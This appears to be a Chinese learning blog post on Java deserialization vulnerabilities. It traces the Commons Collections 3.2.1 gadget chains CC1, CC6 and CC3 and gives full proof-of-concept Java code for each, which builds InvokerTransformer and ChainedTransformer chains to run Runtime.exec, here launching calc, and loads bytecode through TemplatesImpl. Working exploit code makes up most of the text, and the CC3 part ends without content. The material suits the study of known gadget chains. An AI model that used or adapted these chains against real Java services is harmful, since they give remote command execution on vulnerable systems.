Java反序列化漏洞

Commons Collections

Apache Commons 是 Apache 软件基金会的项目。Commons Collections 包为 Java 标准的 Collections API 提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。

Commons Collections的版本是3.2.1,版本过高就无法调试;还有一点就是Commons Collections其实有俩条利用链,lazymap和transformeredmap。现在网上流行的都是对transformeredmap的分析,就是因为它比较简单利用

关于高版本的jdk调用链其实还有办法

小白可能遇到的问题

作者是一个小白,第一次挖Commons-Collections1这一条链子,遇到了一些困难。在这里做一下标记,希望能够帮助小伙伴们解决相同的问题。

  • 寻找jdk版本:Commons-Collections1使用的jdk版本必须是jdk1.8.0_8u71以下,所以我们要适配该版本以下的版本。网上我找了半天没有找到符合要求的jdk,最后看了这位师傅的博客Oracle jdk old release 历史版本下载找到了正确的版本。jdk要下载JDK(JAVA Developpment Kit)

  • 关于windows电脑放入多个jdk的问题:因为我们经常使用不同的jdk版本,解决方法是比如说jdk1.7先在虚拟机中安装好,然后将jdk1.7拷贝出来放到主机的java的jdk目录下

  • JDk源码问题:在Oracle JDK中下载的JDK未必包含我们所需要的部分源码,比如说sun包下的源码就不包含。这就导致我们在调试的时候不方便,所以我们需要在openjdk中下载比较接近Oracle JDK版本的源码。这里提供一个CC1链需要的sun包源码http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/archive/af660750b2f4.zip

  • IDEA中导入JDK源码:这个就直接看网上的教程了,

  • IDEA调试的快捷键:

    • 查看接口的继承子类:ctrl+H
    • 查看方法可以被哪里调用:右键选择FindUsages

知识补充:jdk中的包

  1. java.*

    JavaSE的标准库,是java标准的一部分,是对外承诺的java开发接口,通常要保持向后兼容,一般不会轻易修改。包括其他厂家(IBMJDK/HPJDK/OpenJDK)在内,所有jdk的实现,在java.*上都是一样的。
  2. javax.*

    也是java标准的一部分,但是没有包含在标准库中,一般属于标准库的扩展。通常属于某个特定领域,不是一般性的api。

此上两者都属于java标准库,公有的API,遵循java平台规范,

  1. com.sun.*

    是sun的hotspot虚拟机中java.* 和javax.*的实现类。因为包含在rt中,所以我们也可以调用。但是因为不是sun对外公开承诺的接口,所以根据根据实现的需要随时增减,因此在不同版本的hotspot中可能是不同的,而且在其他的jdk实现中是没有的,调用这些类,可能不会向后兼容,所以一般不推荐使用。
  2. org.*

    是由企业或者组织提供的java类库,大部分不是sun公司提供的,同com.sun.*,不具备向后兼容性,会根据需要随时增减。其中比较常用的是w3c提供的对XML、网页、服务器的类和接口
  3. sun.*包:

    1、不是API公开接口的一部分,调用sun包的程序并不能确保工作在所有Java平台上,不同的操作系统中的实现可能不相同。

2、不同的jdk版本sun包中的类也可能不定期的变化,因此sun.*包中的类没有提供API文档及源码。

白日梦组长的利用链导图

最后还有一些利用链没贴

p神知识星球里一位师傅对CC链的整理

CC1-TransformMap

版本限制:

jdk版本:低于jdk1.8.0_8u71

commons-collections版本:

 <dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

环境配置

我们需要做的工作是下载一个版本低于jdk1.8.0_8u71的jdk,然后在IDEA中新键一个maven项目(不需要配置javaweb项目)。在项目中的pom.xml中进行导入commons-collections的包。

 <dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

然后我们需要在IDEA中配置jdk的版本,我这里配置的是jdk1.8.0_8u65.

利用链分析

java反序列化漏洞的入口类重写了readObject(),然后通过readObject()方法中调用了其他类的方法,以此类推最后可以执行我们的Runtime类的exec危险方法。分析过程我们从执行Runtime类的exec()方法和InvokeTransformerhander反向分析,最后得出完整的整条利用链。

InvokeTransformerhander

InvokerTransformerHander类中的transform方法是一个危险的方法,分析一下它的方法内容,不难发现是用反射来执行一个方法

public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}

用UsagesFind找一下哪里可以调用这个类的transform方法。TransformedMap类的checkSetValue能够调用InvokeTransformerhander的transform方法

protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}

继续UsagesFind寻找,AbstractInputCheckedMapDecoator类的setValue()可以调用这个方法

public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}

而AnnoationInvocationHander类的readObject方法里面可以调用setvalue方法

private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject(); // Check to make sure that types have not evolved incompatibly AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
} Map<String, Class<?>> memberTypes = annotationType.memberTypes(); // If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}

因为AnnoationInvocationHander类的构造方法是default,所以我们需要利用反射来构造该类的对象。这里因为 sun.reflect.annotation.AnnotationInvocationHandler 是在JDK内部的类,不能直接使 用new来实例化。我使用反射获取到了它的构造方法,并将其设置成外部可见的,再调用就可以实例化 了。

Transformer invokerTransformer
= InvokerTransformer.getInstance("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object,Object> hashMap = new HashMap<Object,Object>();
TransformedMap transformedMap = (TransformedMap)TransformedMap.decorate(hashMap,null,invokerTransformer);
Class clazz1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor clazzDeclaredConstructor= clazz1.getDeclaredConstructor(Class.class, Map.class);
clazzDeclaredConstructor.newInstance(Override.class,transformedMap);

按照上面的思路最后就构造出来这条链子了,但是它是无法进行序列化的。

  1. Runtime这个类没有继承Serializable,无法序列化
  2. AnnotationInvocationHandler的readObject方法的俩个if判断以及最后的可控参数setValue()

Runtime类反射

Runtime无法序列化,但是我们知道它的Class类对象是可以序列化的,那么就需要将Runtime命令执行利用反射写出来

Class clazz0 = Class.forName("java.lang.Runtime");
Method getRuntimemethod = (Method) clazz0.getDeclaredMethod("getRuntime");
Runtime runtime = (Runtime) getRuntimemethod.invoke(null);
Method getexecmethod = (Method) clazz0.getDeclaredMethod("exec",String.class);
Object calc = getexecmethod.invoke(runtime,"calc");

但是如果把它放在InvokerTransformer的getInstance中能实现吗?不能实现。但是Commons-Collections框架中有一个ChainedTransformer类transformer方法可以循环利用反射调用方法

public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

可以利用它来做加强版的“InvokeTransformer”,而且它的构造方法也比较简单

public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}

所以我们直接构造一个InvokerTransformer数组

Method getRuntimemethod= (Method) new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);

Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimemethod);

Method getexecmethod = (Method) new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"exec",new Class[]{String.class}}).transform(Runtime.class);

Object invoke = new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{runtime, new String[]{"calc"}}).transform(getexecmethod);

但是需要注意一点这里ChainedTransformer的transformer方法的object参数必须是一个承接一个,所以我们最后优化后的是:

Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};

setValue参数

我们需要绕过俩个if,因为涉及到注解的一些知识,这里直接给出条件

  1. sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第一个参数必须是 Annotation的子类,且其中必须含有至少一个方法,假设方法名是X
  2. 被 TransformedMap修饰的Map中必须有一个键名为X的元素

这里选择Target注解,所以键名是value

@Target(ElementType.ANNOTATION_TYPE)
public @interface Target {
/**
* Returns an array of the kinds of elements an annotation type
* can be applied to.
* @return an array of the kinds of elements an annotation type
* can be applied to
*/
ElementType[] value();
}

这个问题解决完以后,还有就是setValue()方法的参数。它的参数其实是不可控的,Debug调试一下,当我们走到ChainedTransformer的transform方法时,看到的第一个Object参数,永远不可控。

但是Commons-Collections有一个类是ConstantTransformer,它的transformer参数无论接受什么都会返回iConstant。这对我们来说非常好,并且iConstant参数极其易控制

public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
} /**
* Transforms the input by ignoring it and returning the stored constant instead.
*
* @param input the input object which is ignored
* @return the stored constant
*/
public Object transform(Object input) {
return iConstant;
}

所以我们最后构造的Transform数组是:

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};

整体的思路:

AnnotationInvocationHandler.readObject()
-TransformedMap.checkSetValue()
-ChainedTransformer.transform()
-ConstantTransformer()
Runtime.class
-InvokerTransformer()
clazz.getDeclaredMethod()
-InvokerTransformer()
method.invoke()
-InvokerTransformer()
runtime.exec()

整理一下,最后完整的POC是:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap; import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.lang.Class;
import java.util.HashMap;
import java.util.Map; public class CC1 {
public static void unerialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
System.out.println("Successful UnSerialize");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("CC1.ser"));
objectOutputStream.writeObject(obj);
System.out.println("Successful Serialize");
} public static void main(String[] args) throws Exception {
// Transformer invokerTransformer = InvokerTransformer.getInstance("exec", new Class[]{String.class}, new Object[]{"calc"});
// HashMap<Object,Object> hashMap = new HashMap<Object,Object>();
// TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(hashMap,null,invokerTransformer);
// Class clazz1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// Constructor clazzDeclaredConstructor= clazz1.getDeclaredConstructor(Class.class, Map.class);
// clazzDeclaredConstructor.newInstance(Override.class,transformedMap); // Class clazz0 = Class.forName("java.lang.Runtime");
// Method getRuntimemethod = (Method) clazz0.getDeclaredMethod("getRuntime");
// Runtime runtime = (Runtime) getRuntimemethod.invoke(null);
// Method getexecmethod = (Method) clazz0.getDeclaredMethod("exec",String.class);
// Object calc = getexecmethod.invoke(runtime,"calc"); // Method getRuntimemethod= (Method) new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
// Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimemethod);
// Method getexecmethod = (Method) new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"exec",new Class[]{String.class}}).transform(Runtime.class);
// Object invoke = new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{runtime, new String[]{"calc"}}).transform(getexecmethod);
//
// must change
// Method getRuntimemethod= (Method) new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
// Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimemethod);
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime); Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
ChainedTransformer chainedtransformer = new ChainedTransformer(transformers); HashMap<Object,Object> hashMap = new HashMap<Object,Object>();
hashMap.put("value","123");
TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(hashMap,null,chainedtransformer);
Class clazz1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor clazzDeclaredConstructor= clazz1.getDeclaredConstructor(Class.class, Map.class);
clazzDeclaredConstructor.setAccessible(true);
Object o = clazzDeclaredConstructor.newInstance(Target.class, transformedMap); serialize(o);
unerialize("CC1.ser"); }
}
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap; import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map; public class study {
public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchMethodException {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class,
Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class }, new Object[] { null, new Object[0]
}),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] {
"calc" }),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,
Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)
construct.newInstance(Retention.class, outerMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}

CC1-LazyMap

版本限制:

jdk版本:jdk8u71以下

commons-collections版本:

 <dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

CC1有俩条链,这一条链后半部分与前面的那条链后半部分相同,区别在于LazyMap替换了TransformedMap,ChainedTransformer的transform方法通过FindUsages查询发现也可以在LazyMap中找到,并且factory也非常好控制

public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
} public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

这一条链涉及到了注解和动态代理的知识,比前一条CC1链难理解,这里直接给出Gadget构造思路(以后再进行补充)

Gadget构造思路:

ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

LazyMap的利用链:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap; import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map; public class CC12 {
public static void unerialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
System.out.println("Successful UnSerialize");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("CC12.ser"));
objectOutputStream.writeObject(obj);
System.out.println("Successful Serialize");
}
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
ChainedTransformer chainedtransformer = new ChainedTransformer(transformers); HashMap<Object,Object> hashMap = new HashMap<Object,Object>();
hashMap.put("value","123");
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedtransformer); Class clazz1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor clazzDeclaredConstructor= clazz1.getDeclaredConstructor(Class.class, Map.class);
clazzDeclaredConstructor.setAccessible(true);
Object obj = clazzDeclaredConstructor.newInstance(Target.class,lazyMap); Map mapProxy = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), new Class[]{Map.class}, (InvocationHandler) obj);
Object o = clazzDeclaredConstructor.newInstance(Override.class,mapProxy); serialize(o);
unerialize("CC12.ser"); }
}

CC6-最好的链

版本限制:

jdk版本限制:jdk7和jdk8不受限制

commons-collections:对commons-collections版本限制不大

在前面说了分析了CommonsCollections1这个利⽤链和其中的LazyMap原理。但是我们说到,在 Java 8u71以后,这个利⽤链不能再利⽤了,主要原因 是 sun.reflect.annotation.AnnotationInvocationHandler#readObject 的逻辑变化了。也因为这一次改变导致整个在AnnotationInvocationHandler做为入口类的链都不能用了。CC6这一条链是ysoserial里常用的一条链,该利用链可以在java 7和8的高版本触发,没有版本限制,说实话其实CC6也不会受Commons-Collections的版本限制

这一条链还是调用了CC1的LazyMap开始的后半部分,我们从后面开始分析。

public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

如果有个函数的方法可以调用LazyMap的get方法就可以实现漏洞利用,于是我们找到了TiedMapEntry类的hashCode方法,hashCode方法可以调用getValue()方法,getValue()则会调用get方法

public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
} public Object getValue() {
return map.get(key);
}

通过寻找我们发现HashMap的readObject()方法调用了hash方法而hash方法里又可以调用TiedMapEntry的hashCode方法,这就很方便了。同时你如果知道URLDNS的话,会发现其中我们需要做一些处理(规避)。

public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
ChainedTransformer chainedtransformer = new ChainedTransformer(transformers); HashMap<Object,Object> hashMap = new HashMap<Object,Object>();
hashMap.put("value","123");
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedtransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 123);
HashMap<Object,Object> hashMap0 = new HashMap<Object,Object>();
hashMap0.put(tiedMapEntry,123);
}

如果我们仅仅是将其这样设计,发现它直接就会弹计算器,如果我们跟进hashMap0.put()会发现它会调用lazyMap的hashCode(),所以会调用计算器,所以我们要规避处理。想办法让它不弹出计算器,通过反射改变链的随便一部分都可以,因为我们有ConstantTransformer。这里我们让LazyMap的decorate先修饰ConstantTransformer,最后通过反射来更改它为Chainedtransformer

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
ChainedTransformer chainedtransformer = new ChainedTransformer(transformers); HashMap<Object,Object> hashMap = new HashMap<Object,Object>();
hashMap.put("value","123");
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 123);
HashMap<Object,Object> hashMap0 = new HashMap<Object,Object>();
hashMap0.put(tiedMapEntry,1234); Class clazz = LazyMap.class;
Field factoryField = clazz.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedtransformer); //serialize(hashMap0);
unerialize("CC6.ser");

但是又有一个新的问题,反序列化依然无法弹出计算器。什么原因呢?这一次的问题出现在lazymap的get方法处,这里还是承接了hashMap0.put()带来的影响,详细变化如下:

hashMap0.put()--hashMap0.hash()--TiedMapEntry.hashCode()--TiedMapEntry.getvalue()--LazyMap.get(templatesImpl)--hashMap.containsKey(templatesImpl)--hashMap.put(templatesImpl,)

这样的话hashMap的key中就会在反序列化之前提前有templatesImpl,真正反序列化的时候if (map.containsKey(key) == false)就会判断为真,链子将无法执行。

public Object get(Object key) {
// create value for key if key is not currently in the map
// 如果传入的key不在当前修饰的map中,则为key创建value
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value); // <---问题原因
return value;
}
return map.get(key);
}

当我们准备序列化时,走到lazyMap的get()方法时if条件判断为真就会走入get()方法,然后当反序列化的时候map的key已经存在了if判断条件为假就不会再执行if的部分了

所以说我们要在反序列化之前把key值消掉,HashMap的remove()方法可以去掉HashMap的key值所以最后整理的代码是这样:

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
ChainedTransformer chainedtransformer = new ChainedTransformer(transformers); HashMap<Object,Object> hashMap = new HashMap<Object,Object>();
hashMap.put("value","123");
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedtransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 123);
HashMap<Object,Object> hashMap0 = new HashMap<Object,Object>();
hashMap0.put(tiedMapEntry,1234);
hashMap.remove(123); serialize(hashMap0);

这样就可以成功在反序列化的时候成功弹出计算器了,

整理思路

--HashMap.readObject()
--HashMap.hash()
--TiedMapEntry.hashCode()
--TiedMapEntry.getValue()
--LazyMap.get()
--ChainedTransformer().transform()
--ConstantTransformer().transform()
--InvokerTransformer.transform()
--InvokerTransformer.transform()
--InvokerTransformer.transform()

最后真正的Poc如下:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap; import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap; public class CC6 {
public static void unerialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
System.out.println("Successful UnSerialize");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("CC6.ser"));
objectOutputStream.writeObject(obj);
System.out.println("Successful Serialize");
} public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
ChainedTransformer chainedtransformer = new ChainedTransformer(transformers); HashMap<Object,Object> hashMap = new HashMap<Object,Object>();
hashMap.put("value","123");
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 123);
HashMap<Object,Object> hashMap0 = new HashMap<Object,Object>();
hashMap0.put(tiedMapEntry,1234);
hashMap.remove(123); Class clazz = LazyMap.class;
Field factoryField = clazz.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedtransformer); // serialize(hashMap0);
unerialize("CC6.ser");
}
}

最后成功弹出计算器

CC3-代码执行

版本限制:

jdk版本:依旧编写方式而定

commons-collections

 <dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

解释一下这里为什么说jdk版本要按照编写方式而定:CC3本质上只是更改了ChainedTransformer内部的类,把命令执行更换成了代码执行,前面的部分没有发生变化,所以说如果按照CC1的方式写会限制jdk的版本在jdk8u71以下,而按照CC3的方式写就没有jdk7和8版本的限制。

ysoserial中的CC3链与前面说的CC1和CC2以及CC6不同,前面的是命令执行,而这一条链则是代码执行。CC3这一条链使用的是动态类加载(动态加载字节码)的方式,我们利用动态类加载的加载器是java.lang.ClassLoader,使用这一类加载器会顺序执行3个方法来进行类加载:loadClass()findClass()defineClass()

但是由于java.lang.ClassLoader类的defineClass()方法是protected的,所以我们需要寻找重写defineClass()且作用域是public的类,这里我们找到的是TemplateImpl类,

CC3-方式1

CC3的前半部分是CC1(ysoserial)readObject()InvokerTransformer,后半段是TemplateImpl类加载利用链;这条利用链的动态类加载部分在《java反序列化漏洞入门篇》有过记录;这条链的前半部分就是CC1的前半部分。

整体思路:

--ObjectInputStream.readObject()
--AnnotationInvocationHandler.readObject()
--Map(Proxy).entrySet()
--AnnotationInvocationHandler.invoke()
--LazyMap.get()
--ChainedTransformer.transform()
--ConstantTransformer.transform()
--InvokerTransformer.transform()
--method.invoke()
--TemplatesImpl.newTransformer()
--TemplatesImpl.getTransletInstance()
--TemplatesImpl.defineTransletClasses()
--TemplateClassLoader.defineClass()
--TemplatesImpl.getTransletInstance()

完整的POC:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap; import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map; public class CC3 {
public static void main(String[] args) throws Exception{
byte[] code= Files.readAllBytes(Paths.get("D:\\HelloAbstractTranslet.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes",new byte[][]{code});
setFieldValue(templates, "_name", "name");
setFieldValue(templates, "_tfactory",new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",new Class[]{},new Object[]{}),
//利用InvokerTransformer的反射机制调用templates的newTransformer方法
};
ChainedTransformer chainedtransformer = new ChainedTransformer(transformers); HashMap<Object,Object> hashMap = new HashMap<Object,Object>();
hashMap.put("value","123");
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedtransformer); Class clazz1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor clazzDeclaredConstructor= clazz1.getDeclaredConstructor(Class.class, Map.class);
clazzDeclaredConstructor.setAccessible(true);
Object obj = clazzDeclaredConstructor.newInstance(Target.class,lazyMap); Map mapProxy = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), new Class[]{Map.class}, (InvocationHandler) obj);
Object o = clazzDeclaredConstructor.newInstance(Override.class,mapProxy); //serialize(o);
unerialize("CC6.ser");
}

执行结果:

CC3-方式2(ysoserial)

